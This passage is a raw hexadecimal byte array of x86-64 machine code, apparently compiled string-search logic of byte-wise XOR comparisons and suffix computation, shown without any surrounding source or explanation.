0x00, 0x00, 0x31, 0xc0, 0x48, 0x89, 0x44, 0x24, 0x60, + 0x49, 0x89, 0xcf, 0x45, 0x31, 0xe4, 0x88, 0x5c, 0x24, 0x3e, 0x4c, 0x89, 0x84, 0x24, 0xc0, 0x00, + 0x00, 0x00, 0x48, 0x8b, 0x84, 0x24, 0xf0, 0x00, 0x00, 0x00, 0x4c, 0x01, 0xe0, 0x48, 0x83, 0xf8, + 0x07, 0x0f, 0x87, 0x42, 0x05, 0x00, 0x00, 0x48, 0x8b, 0x44, 0x24, 0x60, 0x24, 0x01, 0x0f, 0x85, + 0x35, 0x05, 0x00, 0x00, 0x4c, 0x89, 0x64, 0x24, 0x78, 0x48, 0x83, 0xa4, 0x24, 0xb8, 0x00, 0x00, + 0x00, 0x00, 0x45, 0x31, 0xe4, 0x4c, 0x89, 0xbc, 0x24, 0x80, 0x00, 0x00, 0x00, 0x49, 0x83, 0xfc, + 0x08, 0x0f, 0x84, 0x57, 0x02, 0x00, 0x00, 0x43, 0x8a, 0x44, 0xe7, 0x0f, 0x8a, 0x4c, 0x24, 0x3d, + 0x30, 0xc8, 0x88, 0x44, 0x24, 0x3c, 0x43, 0x8a, 0x44, 0xe7, 0x0e, 0x30, 0xc8, 0x88, 0x44, 0x24, + 0x3b, 0x43, 0x8a, 0x44, 0xe7, 0x0d, 0x30, 0xc8, 0x88, 0x44, 0x24, 0x3a, 0x43, 0x8a, 0x44, 0xe7, + 0x0c, 0x30, 0xc8, 0x88, 0x44, 0x24, 0x39, 0x43, 0x8a, 0x44, 0xe7, 0x0b, 0x30, 0xc8, 0x88, 0x44, + 0x24, 0x38, 0x43, 0x8a, 0x44, 0xe7, 0x0a, 0x30, 0xc8, 0x88, 0x44, 0x24, 0x37, 0x43, 0x8a, 0x44, + 0xe7, 0x09, 0x30, 0xc8, 0x88, 0x44, 0x24, 0x36, 0x43, 0x8a, 0x44, 0xe7, 0x08, 0x30, 0xc8, 0x88, + 0x44, 0x24, 0x34, 0x43, 0x8a, 0x44, 0xe7, 0x07, 0x30, 0xc8, 0x88, 0x44, 0x24, 0x31, 0x43, 0x8a, + 0x44, 0xe7, 0x06, 0x30, 0xc8, 0x88, 0x44, 0x24, 0x2f, 0x43, 0x8a, 0x44, 0xe7, 0x05, 0x30, 0xc8, + 0x88, 0x44, 0x24, 0x2d, 0x43, 0x8a, 0x44, 0xe7, 0x04, 0x30, 0xc8, 0x88, 0x44, 0x24, 0x2c, 0x43, + 0x8a, 0x44, 0xe7, 0x03, 0x30, 0xc8, 0x88, 0x44, 0x24, 0x2b, 0x43, 0x8a, 0x44, 0xe7, 0x02, 0x30, + 0xc8, 0x88, 0x44, 0x24, 0x3f, 0x43, 0x8a, 0x6c, 0xe7, 0x01, 0x40, 0x30, 0xcd, 0x47, 0x8a, 0x14, + 0xe7, 0x41, 0x30, 0xca, 0x43, 0x8a, 0x4c, 0xe5, 0x0f, 0x8a, 0x44, 0x24, 0x3e, 0x30, 0xc1, 0x88, + 0x4c, 0x24, 0x68, 0x43, 0x8a, 0x4c, 0xe5, 0x0e, 0x30, 0xc1, 0x88, 0x4c, 0x24, 0x35, 0x43, 0x8a, + 0x4c, 0xe5, 0x0d, 0x30, 0xc1, 0x88, 0x4c, 0x24, 0x33, 0x43, 0x8a, 0x4c, 0xe5, 0x0c, 0x30, 0xc1, + 0x88, 0x4c, 0x24, 0x32, 0x43, 0x8a, 0x4c, 0xe5, 0x0b, 0x30, 0xc1, 0x88, 0x4c, 0x24, 0x30, 0x43, + 0x8a, 0x4c, 0xe5, 0x0a, 0x30, 0xc1, 0x88, 0x4c, 0x24, 0x2e, 0x47, 0x8a, 0x7c, 0xe5, 0x09, 0x41, + 0x30, 0xc7, 0x47, 0x8a, 0x74, 0xe5, 0x08, 0x41, 0x30, 0xc6, 0x43, 0x8a, 0x7c, 0xe5, 0x07, 0x40, + 0x30, 0xc7, 0x43, 0x8a, 0x74, 0xe5, 0x06, 0x40, 0x30, 0xc6, 0x43, 0x8a, 0x5c, 0xe5, 0x05, 0x30, + 0xc3, 0x47, 0x8a, 0x5c, 0xe5, 0x04, 0x41, 0x30, 0xc3, 0x47, 0x8a, 0x4c, 0xe5, 0x03, 0x41, 0x30, + 0xc1, 0x43, 0x8a, 0x54, 0xe5, 0x02, 0x30, 0xc2, 0x43, 0x8a, 0x4c, 0xe5, 0x01, 0x30, 0xc1, 0x4d, + 0x89, 0xe8, 0x47, 0x8a, 0x6c, 0xe5, 0x00, 0x41, 0x30, 0xc5, 0x45, 0x08, 0xd5, 0x4d, 0x89, 0xc5, + 0x41, 0x0f, 0x94, 0xc2, 0x40, 0x08, 0xe9, 0x0f, 0x94, 0xc1, 0x00, 0xc9, 0x44, 0x08, 0xd1, 0x0a, + 0x54, 0x24, 0x3f, 0x0f, 0x94, 0xc2, 0xc0, 0xe2, 0x02, 0x44, 0x0a, 0x4c, 0x24, 0x2b, 0x41, 0x0f, + 0x94, 0xc2, 0x41, 0xc0, 0xe2, 0x03, 0x41, 0x08, 0xd2, 0x41, 0x08, 0xca, 0x44, 0x0a, 0x5c, 0x24, + 0x2c, 0x0f, 0x94, 0xc1, 0x0a, 0x5c, 0x24, 0x2d, 0x0f, 0x94, 0xc2, 0x00, 0xd2, 0x08, 0xca, 0x40, + 0x0a, 0x74, 0x24, 0x2f, 0x41, 0x0f, 0x94, 0xc0, 0x41, 0xc0, 0xe0, 0x02, 0x40, 0x0a, 0x7c, 0x24, + 0x31, 0x0f, 0x94, 0xc1, 0xc0, 0xe1, 0x03, 0x44, 0x08, 0xc1, 0x08, 0xd1, 0xc0, 0xe1, 0x04, 0x44, + 0x08, 0xd1, 0x44, 0x0a, 0x74, 0x24, 0x34, 0x0f, 0x94, 0xc2, 0x44, 0x0a, 0x7c, 0x24, 0x36, 0x4c, + 0x8b, 0xbc, 0x24, 0x80, 0x00, 0x00, 0x00, 0x41, 0x0f, 0x94, 0xc0, 0x45, 0x00, 0xc0, 0x41, 0x08, + 0xd0, 0x8a, 0x44, 0x24, 0x2e, 0x0a, 0x44, 0x24, 0x37, 0x41, 0x0f, 0x94, 0xc1, 0x41, 0xc0, 0xe1, + 0x02, 0x8a, 0x44, 0x24, 0x30, 0x0a, 0x44, 0x24, 0x38, 0x0f, 0x94, 0xc2, 0xc0, 0xe2, 0x03, 0x44, + 0x08, 0xca, 0x44, 0x08, 0xc2, 0x8a, 0x44, 0x24, 0x32, 0x0a, 0x44, 0x24, 0x39, 0x41, 0x0f, 0x94, + 0xc0, 0x8a, 0x44, 0x24, 0x33, 0x0a, 0x44, 0x24, 0x3a, 0x41, 0x0f, 0x94, 0xc1, 0x45, 0x00, 0xc9, + 0x45, 0x08, 0xc1, 0x8a, 0x44, 0x24, 0x35, 0x0a, 0x44, 0x24, 0x3b, 0x41, 0x0f, 0x94, 0xc0, 0x41, + 0xc0, 0xe0, 0x02, 0x8a, 0x44, 0x24, 0x68, 0x0a, 0x44, 0x24, 0x3c, 0x0f, 0xb6, 0xc9, 0x41, 0x0f, + 0x94, 0xc2, 0x41, 0xc0, 0xe2, 0x03, 0x45, 0x08, 0xc2, 0x45, 0x08, 0xca, 0x41, 0xc0, 0xe2, 0x04, + 0x41, 0x08, 0xd2, 0x41, 0x0f, 0xb6, 0xd2, 0xc1, 0xe2, 0x08, 0x09, 0xca, 0x66, 0x42, 0x89, 0x94, + 0x24, 0xb8, 0x00, 0x00, 0x00, 0x49, 0x83, 0xc4, 0x02, 0xe9, 0x9f, 0xfd, 0xff, 0xff, 0x31, 0xf6, + 0x8a, 0x5c, 0x24, 0x3e, 0x4c, 0x8b, 0x64, 0x24, 0x78, 0x48, 0x83, 0xfe, 0x04, 0x74, 0x41, 0x48, + 0x89, 0xf2, 0x48, 0xff, 0xc6, 0x44, 0x0f, 0xb7, 0x84, 0x54, 0xb8, 0x00, 0x00, 0x00, 0x66, 0x45, + 0x85, 0xc0, 0x74, 0xe5, 0x48, 0xc1, 0xe2, 0x04, 0x4c, 0x01, 0xe2, 0x48, 0x8b, 0x7c, 0x24, 0x60, + 0x41, 0x89, 0xf9, 0x41, 0x80, 0xe1, 0x01, 0x48, 0x8d, 0x8c, 0x24, 0xf8, 0x00, 0x00, 0x00, 0xe8, + 0xcc, 0x17, 0x00, 0x00, 0x40, 0x08, 0xf8, 0x24, 0x01, 0x48, 0x89, 0x44, 0x24, 0x60, 0xeb, 0xb9, + 0x49, 0x83, 0xc4, 0x40, 0x49, 0x83, 0xc5, 0x40, 0x49, 0x83, 0xc7, 0x40, 0xe9, 0x01, 0xfd, 0xff, + 0xff, 0x41, 0x8a, 0x4f, 0x0f, 0x8a, 0x44, 0x24, 0x3d, 0x30, 0xc1, 0x88, 0x4c, 0x24, 0x3c, 0x41, + 0x8a, 0x4f, 0x0e, 0x30, 0xc1, 0x88, 0x4c, 0x24, 0x3b, 0x41, 0x8a, 0x4f, 0x0d, 0x30, 0xc1, 0x88, + 0x4c, 0x24, 0x3a, 0x41, 0x8a, 0x4f, 0x0c, 0x30, 0xc1, 0x88, 0x4c, 0x24, 0x39, 0x41, 0x8a, 0x4f, + 0x0b, 0x30, 0xc1, 0x88, 0x4c, 0x24, 0x38, 0x41, 0x8a, 0x4f, 0x0a, 0x30, 0xc1, 0x88, 0x4c, 0x24, + 0x37, 0x41, 0x8a, 0x4f, 0x09, 0x30, 0xc1, 0x88, 0x4c, 0x24, 0x35, 0x41, 0x8a, 0x4f, 0x08, 0x30, + 0xc1, 0x88, 0x4c, 0x24, 0x33, 0x41, 0x8a, 0x4f, 0x07, 0x30, 0xc1, 0x88, 0x4c, 0x24, 0x30, 0x41, + 0x8a, 0x4f, 0x06, 0x30, 0xc1, 0x88, 0x4c, 0x24, 0x2e, 0x41, 0x8a, 0x4f, 0x05, 0x30, 0xc1, 0x88, + 0x4c, 0x24, 0x2d, 0x41, 0x8a, 0x4f, 0x04, 0x30, 0xc1, 0x88, 0x4c, 0x24, 0x2c, 0x41, 0x8a, 0x4f, + 0x03, 0x30, 0xc1, 0x88, 0x4c, 0x24, 0x2b, 0x45, 0x8a, 0x77, 0x02, 0x41, 0x30, 0xc6, 0x41, 0x8a, + 0x7f, 0x01, 0x40, 0x30, 0xc7, 0x45, 0x8a, 0x0f, 0x41, 0x30, 0xc1, 0x41, 0x8a, 0x45, 0x0f, 0x30, + 0xd8, 0x88, 0x44, 0x24, 0x36, 0x41, 0x8a, 0x45, 0x0e, 0x30, 0xd8, 0x88, 0x44, 0x24, 0x34, 0x41, + 0x8a, 0x45, 0x0d, 0x30, 0xd8, 0x88, 0x44, 0x24, 0x32, 0x41, 0x8a, 0x45, 0x0c, 0x30, 0xd8, 0x88, + 0x44, 0x24, 0x31, 0x41, 0x8a, 0x45, 0x0b, 0x30, 0xd8, 0x88, 0x44, 0x24, 0x2f, 0x4c, 0x89, 0x64, + 0x24, 0x78, 0x45, 0x8a, 0x65, 0x0a, 0x41, 0x30, 0xdc, 0x41, 0x8a, 0x6d, 0x09, 0x40, 0x30, 0xdd, + 0x4c, 0x89, 0xbc, 0x24, 0x80, 0x00, 0x00, 0x00, 0x45, 0x8a, 0x7d, 0x08, 0x41, 0x30, 0xdf, 0x41, + 0x8a, 0x75, 0x07, 0x40, 0x30, 0xde, 0x45, 0x8a, 0x5d, 0x06, 0x41, 0x30, 0xdb, 0x45, 0x8a, 0x55, + 0x05, 0x41, 0x30, 0xda, 0x45, 0x8a, 0x45, 0x04, 0x41, 0x30, 0xd8, 0x41, 0x8a, 0x55, 0x03, 0x30, + 0xda, 0x41, 0x8a, 0x4d, 0x02, 0x30, 0xd9, 0x41, 0x8a, 0x45, 0x01, 0x30, 0xd8, 0x4c, 0x89, 0x6c, + 0x24, 0x68, 0x45, 0x8a, 0x6d, 0x00, 0x41, 0x30, 0xdd, 0x45, 0x08, 0xcd, 0x41, 0x0f, 0x94, 0xc1, + 0x40, 0x08, 0xf8, 0x0f, 0x94, 0xc0, 0x00, 0xc0, 0x44, 0x08, 0xc8, 0x44, 0x08, 0xf1, 0x0f, 0x94, + 0xc1, 0xc0, 0xe1, 0x02, 0x0a, 0x54, 0x24, 0x2b, 0x41, 0x0f, 0x94, 0xc1, 0x41, 0xc0, 0xe1, 0x03, + 0x41, 0x08, 0xc9, 0x41, 0x08, 0xc1, 0x44, 0x0a, 0x44, 0x24, 0x2c, 0x0f, 0x94, 0xc0, 0x44, 0x0a, + 0x54, 0x24, 0x2d, 0x0f, 0x94, 0xc1, 0x00, 0xc9, 0x08, 0xc1, 0x44, 0x0a, 0x5c, 0x24, 0x2e, 0x0f, + 0x94, 0xc2, 0xc0, 0xe2, 0x02, 0x40, 0x0a, 0x74, 0x24, 0x30, 0x0f, 0x94, 0xc0, 0xc0, 0xe0, 0x03, + 0x08, 0xd0, 0x08, 0xc8, 0xc0, 0xe0, 0x04, 0x44, 0x08, 0xc8, 0x44, 0x0a, 0x7c, 0x24, 0x33, 0x0f, + 0x94, 0xc1, 0x40, 0x0a, 0x6c, 0x24, 0x35, 0x0f, 0x94, 0xc2, 0x00, 0xd2, 0x08, 0xca, 0x44, 0x0a, + 0x64, 0x24, 0x37, 0x4c, 0x8b, 0x64, 0x24, 0x78, 0x41, 0x0f, 0x94, 0xc0, 0x41, 0xc0, 0xe0, 0x02, + 0x8a, 0x4c, 0x24, 0x2f, 0x0a, 0x4c, 0x24, 0x38, 0x0f, 0x94, 0xc1, 0xc0, 0xe1, 0x03, 0x44, 0x08, + 0xc1, 0x08, 0xd1, 0x8a, 0x54, 0x24, 0x31, 0x0a, 0x54, 0x24, 0x39, 0x0f, 0x94, 0xc2, 0x44, 0x8a, + 0x44, 0x24, 0x32, 0x44, 0x0a, 0x44, 0x24, 0x3a, 0x41, 0x0f, 0x94, 0xc0, 0x45, 0x00, 0xc0, 0x41, + 0x08, 0xd0, 0x8a, 0x54, 0x24, 0x34, 0x0a, 0x54, 0x24, 0x3b, 0x0f, 0x94, 0xc2, 0xc0, 0xe2, 0x02, + 0x44, 0x8a, 0x4c, 0x24, 0x36, 0x44, 0x0a, 0x4c, 0x24, 0x3c, 0x0f, 0xb6, 0xc0, 0x41, 0x0f, 0x94, + 0xc1, 0x41, 0xc0, 0xe1, 0x03, 0x41, 0x08, 0xd1, 0x45, 0x08, 0xc1, 0x41, 0xc0, 0xe1, 0x04, 0x41, + 0x08, 0xc9, 0x45, 0x0f, 0xb6, 0xc1, 0x41, 0xc1, 0xe0, 0x08, 0x66, 0x41, 0x09, 0xc0, 0x75, 0x1f, + 0x49, 0x83, 0xc4, 0x10, 0x4c, 0x8b, 0x6c, 0x24, 0x68, 0x49, 0x83, 0xc5, 0x10, 0x4c, 0x8b, 0xbc, + 0x24, 0x80, 0x00, 0x00, 0x00, 0x49, 0x83, 0xc7, 0x10, 0x8a, 0x5c, 0x24, 0x3e, 0xeb, 0x1a, 0x48, + 0x8d, 0x8c, 0x24, 0xf8, 0x00, 0x00, 0x00, 0x4c, 0x89, 0xe2, 0x45, 0x31, 0xc9, 0xe8, 0x5e, 0x15, + 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x60, 0xeb, 0xc7, 0x48, 0x8b, 0x84, 0x24, 0xb0, 0x00, 0x00, + 0x00, 0x4a, 0x8d, 0x0c, 0x20, 0x48, 0x8b, 0x44, 0x24, 0x60, 0x24, 0x01, 0x48, 0x83, 0xf9, 0x07, + 0x77, 0x08, 0x84, 0xc0, 0x0f, 0x84, 0x87, 0xfd, 0xff, 0xff, 0x4c, 0x8b, 0x74, 0x24, 0x50, 0x48, + 0x8b, 0x94, 0x24, 0x90, 0x00, 0x00, 0x00, 0x4d, 0x8d, 0x04, 0x16, 0x45, 0x8a, 0x4c, 0x16, 0x0f, + 0x8a, 0x4c, 0x24, 0x3d, 0x41, 0x30, 0xc9, 0x44, 0x88, 0x4c, 0x24, 0x3c, 0x45, 0x8a, 0x4c, 0x16, + 0x0e, 0x41, 0x30, 0xc9, 0x44, 0x88, 0x4c, 0x24, 0x3b, 0x45, 0x8a, 0x4c, 0x16, 0x0d, 0x41, 0x30, + 0xc9, 0x44, 0x88, 0x4c, 0x24, 0x3a, 0x45, 0x8a, 0x4c, 0x16, 0x0c, 0x41, 0x30, 0xc9, 0x44, 0x88, + 0x4c, 0x24, 0x39, 0x45, 0x8a, 0x4c, 0x16, 0x0b, 0x41, 0x30, 0xc9, 0x44, 0x88, 0x4c, 0x24, 0x38, + 0x45, 0x8a, 0x4c, 0x16, 0x0a, 0x41, 0x30, 0xc9, 0x44, 0x88, 0x4c, 0x24, 0x37, 0x45, 0x8a, 0x4c, + 0x16, 0x09, 0x41, 0x30, 0xc9, 0x44, 0x88, 0x4c, 0x24, 0x36, 0x45, 0x8a, 0x4c, 0x16, 0x08, 0x41, + 0x30, 0xc9, 0x44, 0x88, 0x4c, 0x24, 0x34, 0x45, 0x8a, 0x4c, 0x16, 0x07, 0x41, 0x30, 0xc9, 0x44, + 0x88, 0x4c, 0x24, 0x31, 0x4c, 0x8b, 0x94, 0x24, 0xc0, 0x00, 0x00, 0x00, 0x47, 0x8a, 0x4c, 0x02, + 0x0f, 0x41, 0x30, 0xd9, 0x44, 0x88, 0x4c, 0x24, 0x68, 0x47, 0x8a, 0x4c, 0x02, 0x0e, 0x41, 0x30, + 0xd9, 0x44, 0x88, 0x4c, 0x24, 0x35, 0x47, 0x8a, 0x4c, 0x02, 0x0d, 0x41, 0x30, 0xd9, 0x44, 0x88, + 0x4c, 0x24, 0x33, 0x47, 0x8a, 0x4c, 0x02, 0x0c, 0x41, 0x30, 0xd9, 0x44, 0x88, 0x4c, 0x24, 0x32, + 0x47, 0x8a, 0x4c, 0x02, 0x0b, 0x41, 0x30, 0xd9, 0x44, 0x88, 0x4c, 0x24, 0x30, 0x47, 0x8a, 0x4c, + 0x02, 0x0a, 0x41, 0x30, 0xd9, 0x44, 0x88, 0x4c, 0x24, 0x2f, 0x47, 0x8a, 0x4c, 0x02, 0x09, 0x41, + 0x30, 0xd9, 0x44, 0x88, 0x4c, 0x24, 0x2e, 0x47, 0x8a, 0x4c, 0x02, 0x08, 0x41, 0x30, 0xd9, 0x44, + 0x88, 0x4c, 0x24, 0x2d, 0x47, 0x8a, 0x4c, 0x02, 0x07, 0x41, 0x30, 0xd9, 0x44, 0x88, 0x4c, 0x24, + 0x2c, 0x47, 0x8a, 0x4c, 0x02, 0x06, 0x41, 0x30, 0xd9, 0x44, 0x88, 0x4c, 0x24, 0x2b, 0x47, 0x8a, + 0x6c, 0x02, 0x05, 0x41, 0x30, 0xdd, 0x47, 0x8a, 0x7c, 0x02, 0x04, 0x41, 0x30, 0xdf, 0x43, 0x8a, + 0x7c, 0x02, 0x03, 0x40, 0x30, 0xdf, 0x47, 0x8a, 0x5c, 0x02, 0x02, 0x41, 0x30, 0xdb, 0x47, 0x8a, + 0x4c, 0x02, 0x01, 0x41, 0x30, 0xd9, 0x43, 0x32, 0x1c, 0x02, 0x45, 0x8a, 0x44, 0x16, 0x06, 0x41, + 0x30, 0xc8, 0x44, 0x88, 0x44, 0x24, 0x3f, 0x45, 0x8a, 0x64, 0x16, 0x05, 0x41, 0x30, 0xcc, 0x89, + 0xde, 0x41, 0x8a, 0x6c, 0x16, 0x04, 0x40, 0x30, 0xcd, 0x41, 0x8a, 0x5c, 0x16, 0x03, 0x30, 0xcb, + 0x45, 0x8a, 0x54, 0x16, 0x02, 0x41, 0x30, 0xca, 0x45, 0x8a, 0x44, 0x16, 0x01, 0x41, 0x30, 0xc8, + 0x41, 0x32, 0x0c, 0x16, 0x40, 0x08, 0xce, 0x41, 0x0f, 0x94, 0xc6, 0x45, 0x08, 0xc1, 0x0f, 0x94, + 0xc1, 0x00, 0xc9, 0x44, 0x08, 0xf1, 0x45, 0x08, 0xd3, 0x41, 0x0f, 0x94, 0xc0, 0x41, 0xc0, 0xe0, + 0x02, 0x40, 0x08, 0xdf, 0x0f, 0x94, 0xc2, 0xc0, 0xe2, 0x03, 0x44, 0x08, 0xc2, 0x08, 0xca, 0x41, + 0x08, 0xef, 0x0f, 0x94, 0xc1, 0x45, 0x08, 0xe5, 0x41, 0x0f, 0x94, 0xc0, 0x45, 0x00, 0xc0, 0x41, + 0x08, 0xc8, 0x8a, 0x4c, 0x24, 0x3f, 0x08, 0x4c, 0x24, 0x2b, 0x41, 0x0f, 0x94, 0xc1, 0x41, 0xc0, + 0xe1, 0x02, 0x8a, 0x4c, 0x24, 0x2c, 0x0a, 0x4c, 0x24, 0x31, 0x0f, 0x94, 0xc1, 0xc0, 0xe1, 0x03, + 0x44, 0x08, 0xc9, 0x44, 0x08, 0xc1, 0xc0, 0xe1, 0x04, 0x08, 0xd1, 0x8a, 0x54, 0x24, 0x2d, 0x0a, + 0x54, 0x24, 0x34, 0x0f, 0x94, 0xc2, 0x44, 0x8a, 0x44, 0x24, 0x2e, 0x44, 0x0a, 0x44, 0x24, 0x36, + 0x41, 0x0f, 0x94, 0xc0, 0x45, 0x00, 0xc0, 0x41, 0x08, 0xd0, 0x8a, 0x54, 0x24, 0x2f, 0x0a, 0x54, + 0x24, 0x37, 0x41, 0x0f, 0x94, 0xc1, 0x41, 0xc0, 0xe1, 0x02, 0x8a, 0x54, 0x24, 0x30, 0x0a, 0x54, + 0x24, 0x38, 0x0f, 0x94, 0xc2, 0xc0, 0xe2, 0x03, 0x44, 0x08, 0xca, 0x44, 0x08, 0xc2, 0x44, 0x8a, + 0x44, 0x24, 0x32, 0x44, 0x0a, 0x44, 0x24, 0x39, 0x41, 0x0f, 0x94, 0xc0, 0x44, 0x8a, 0x4c, 0x24, + 0x33, 0x44, 0x0a, 0x4c, 0x24, 0x3a, 0x41, 0x0f, 0x94, 0xc1, 0x45, 0x00, 0xc9, 0x45, 0x08, 0xc1, + 0x44, 0x8a, 0x44, 0x24, 0x35, 0x44, 0x0a, 0x44, 0x24, 0x3b, 0x41, 0x0f, 0x94, 0xc0, 0x41, 0xc0, + 0xe0, 0x02, 0x44, 0x8a, 0x54, 0x24, 0x68, 0x44, 0x0a, 0x54, 0x24, 0x3c, 0x0f, 0xb6, 0xc9, 0x41, + 0x0f, 0x94, 0xc2, 0x41, 0xc0, 0xe2, 0x03, 0x45, 0x08, 0xc2, 0x45, 0x08, 0xca, 0x41, 0xc0, 0xe2, + 0x04, 0x41, 0x08, 0xd2, 0x45, 0x0f, 0xb6, 0xc2, 0x41, 0xc1, 0xe0, 0x08, 0x66, 0x41, 0x09, 0xc8, + 0x0f, 0x84, 0x1f, 0xf7, 0xff, 0xff, 0x84, 0xc0, 0x0f, 0x95, 0xc3, 0x48, 0x8d, 0x8c, 0x24, 0xf8, + 0x00, 0x00, 0x00, 0x48, 0x8b, 0x94, 0x24, 0x90, 0x00, 0x00, 0x00, 0x41, 0x89, 0xc1, 0xe8, 0x8d, + 0x12, 0x00, 0x00, 0x08, 0xd8, 0xe9, 0xfb, 0xf6, 0xff, 0xff, 0x41, 0xba, 0x01, 0x00, 0x00, 0x00, + 0x41, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x45, 0x31, 0xc9, 0xba, 0x01, 0x00, 0x00, 0x00, 0x31, 0xc0, + 0x4a, 0x8d, 0x0c, 0x08, 0x4c, 0x39, 0xf1, 0x0f, 0x83, 0xed, 0x04, 0x00, 0x00, 0x8a, 0x0c, 0x0e, + 0x42, 0x38, 0x0c, 0x16, 0x73, 0x11, 0x48, 0x8d, 0x0c, 0x02, 0x48, 0xff, 0xc1, 0x49, 0x89, 0xc8, + 0x4d, 0x29, 0xc8, 0x31, 0xc0, 0xeb, 0x32, 0x75, 0x21, 0x48, 0xff, 0xc0, 0x4c, 0x39, 0xc0, 0x49, + 0x89, 0xc2, 0xb9, 0x00, 0x00, 0x00, 0x00, 0x4c, 0x0f, 0x44, 0xd1, 0x48, 0x0f, 0x45, 0xc1, 0x48, + 0x89, 0xc1, 0x48, 0x01, 0xd1, 0x4c, 0x89, 0xd0, 0xeb, 0x0f, 0x48, 0x8d, 0x4a, 0x01, 0x41, 0xb8, + 0x01, 0x00, 0x00, 0x00, 0x31, 0xc0, 0x49, 0x89, 0xd1, 0x4c, 0x8d, 0x14, 0x01, 0x48, 0x89, 0xca, + 0x4d, 0x39, 0xf2, 0x72, 0x9b, 0xbe, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x31, + 0xc9, 0x41, 0xbb, 0x01, 0x00, 0x00, 0x00, 0x45, 0x31, 0xd2, 0x49, 0x8d, 0x14, 0x0a, 0x4c, 0x39, + 0xf2, 0x0f, 0x83, 0x7c, 0x04, 0x00, 0x00, 0x48, 0x8b, 0x7c, 0x24, 0x40, 0x8a, 0x14, 0x17, 0x38, + 0x14, 0x37, 0x76, 0x12, 0x4b, 0x8d, 0x14, 0x13, 0x48, 0xff, 0xc2, 0x48, 0x89, 0xd0, 0x48, 0x29, + 0xc8, 0x45, 0x31, 0xd2, 0xeb, 0x32, 0x75, 0x21, 0x49, 0xff, 0xc2, 0x49, 0x39, 0xc2, 0x4c, 0x89, + 0xd6, 0xba, 0x00, 0x00, 0x00, 0x00, 0x48, 0x0f, 0x44, 0xf2, 0x4c, 0x0f, 0x45, 0xd2, 0x4c, 0x89, + 0xd2, 0x4c, 0x01, 0xda, 0x49, 0x89, 0xf2, 0xeb, 0x0f, 0x49, 0x8d, 0x53, 0x01, 0xb8, 0x01, 0x00, + 0x00, 0x00, 0x45, 0x31, 0xd2, 0x4c, 0x89, 0xd9, 0x4a, 0x8d, 0x34, 0x12, 0x49, 0x89, 0xd3, 0x4c, + 0x8b, 0x74, 0x24, 0x48, 0x4c, 0x39, 0xf6, 0x72, 0x91, 0x49, 0x39, 0xc9, 0x49, 0x0f, 0x47, 0xc9, + 0x49, 0x0f, 0x47, 0xc0, 0x4d, 0x89, 0xf1, 0x49, 0x29, 0xc9, 0x0f, 0x82, 0x5a, 0x04, 0x00, 0x00, + 0x49, 0x89, 0xc2, 0x49, 0x01, 0xca, 0x4c, 0x8b, 0x44, 0x24, 0x40, 0x48, 0x8b, 0xbc, 0x24, 0xd8, + 0x00, 0x00, 0x00, 0x0f, 0x82, 0x4a, 0x04, 0x00, 0x00, 0x4d, 0x39, 0xf2, 0x0f, 0x87, 0x50, 0x04, + 0x00, 0x00, 0x49, 0x8d, 0x34, 0x00, 0x45, 0x31, 0xd2, 0x4d, 0x89, 0xd0, 0x4c, 0x39, 0xd1, 0x0f, + 0x84, 0x96, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0x54, 0x24, 0x40, 0x47, 0x8a, 0x1c, 0x02, 0x4d, 0x8d, + 0x50, 0x01, 0x46, 0x3a, 0x1c, 0x06, 0x74, 0xe1, 0x4c, 0x39, 0xc9, 0x4c, 0x0f, 0x47, 0xc9, 0x45, + 0x31, 0xd2, 0x31, 0xc0, 0x49, 0x83, 0xfe, 0x04, 0x72, 0x43, 0x48, 0x8b, 0x9c, 0x24, 0xc8, 0x00, + 0x00, 0x00, 0x4c, 0x8b, 0x5c, 0x24, 0x40, 0x41, 0x8a, 0x34, 0x03, 0x4c, 0x8b, 0x5c, 0x24, 0x40, + 0x45, 0x8a, 0x5c, 0x03, 0x01, 0x49, 0x0f, 0xab, 0xf2, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x4d, 0x0f, + 0xab, 0xda, 0x44, 0x8a, 0x5c, 0x06, 0x02, 0x4d, 0x0f, 0xab, 0xda, 0x44, 0x8a, 0x5c, 0x06, 0x03, + 0x4d, 0x0f, 0xab, 0xda, 0x48, 0x83, 0xc0, 0x04, 0x48, 0x39, 0xc3, 0x75, 0xc5, 0x48, 0x85, 0xff, + 0x74, 0x17, 0x48, 0x03, 0x44, 0x24, 0x40, 0x31, 0xf6, 0x44, 0x8a, 0x1c, 0x30, 0x4d, 0x0f, 0xab, + 0xda, 0x48, 0xff, 0xc6, 0x48, 0x39, 0xf7, 0x75, 0xf0, 0x49, 0xff, 0xc1, 0x49, 0xc7, 0xc3, 0xff, + 0xff, 0xff, 0xff, 0x4c, 0x89, 0xc8, 0xe9, 0x88, 0x01, 0x00, 0x00, 0x41, 0xba, 0x01, 0x00, 0x00, + 0x00, 0x4c, 0x89, 0xf2, 0x31, 0xf6, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x45, 0x31, 0xdb, 0x4c, 0x8d, + 0x0c, 0x37, 0x49, 0x39, 0xd1, 0x0f, 0x83, 0x91, 0x00, 0x00, 0x00, 0x49, 0x89, 0xf9, 0x49, 0xf7, + 0xd1, 0x49, 0x89, 0xd6, 0x49, 0x29, 0xf6, 0x4d, 0x01, 0xce, 0x49, 0x39, 0xd6, 0x0f, 0x83, 0x35, + 0x03, 0x00, 0x00, 0x49, 0x89, 0xf1, 0x49, 0xf7, 0xd1, 0x49, 0x01, 0xd1, 0x4d, 0x29, 0xd9, 0x49, + 0x39, 0xd1, 0x0f, 0x83, 0x2c, 0x03, 0x00, 0x00, 0x48, 0x8d, 0x5f, 0x01, 0x48, 0x8b, 0x54, 0x24, + 0x40, 0x46, 0x8a, 0x0c, 0x0a, 0x46, 0x38, 0x0c, 0x32, 0x73, 0x11, 0x48, 0x8d, 0x1c, 0x3e, 0x48, + 0xff, 0xc3, 0x49, 0x89, 0xda, 0x4d, 0x29, 0xda, 0x31, 0xf6, 0xeb, 0x2f, 0x75, 0x22, 0x48, 0xff, + 0xc6, 0x4c, 0x39, 0xd6, 0x48, 0x89, 0xf2, 0x41, 0xb9, 0x00, 0x00, 0x00, 0x00, 0x49, 0x0f, 0x44, + 0xd1, 0x49, 0x0f, 0x45, 0xf1, 0x48, 0x89, 0xf3, 0x48, 0x01, 0xfb, 0x48, 0x89, 0xd6, 0xeb, 0x0b, + 